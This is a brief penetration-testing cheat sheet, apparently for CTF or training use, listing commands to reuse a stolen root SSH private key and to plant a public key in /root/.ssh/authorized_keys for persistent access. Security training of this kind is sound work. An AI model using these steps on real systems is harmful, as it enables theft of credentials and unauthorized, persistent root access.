Abusing SSH Keys

Command Description
chmod 600 id_rsa Correct private key permissions
ssh root@target_ip -i id_rsa Use private key to login to root
echo "<public_key_text>" >> /root/.ssh/authorized_keys Add a public key to an exploited user's SSH config

About

Important

  • If you can read /root/.ssh/id_rsa, copy it to local and use the -i flag to use it for authentication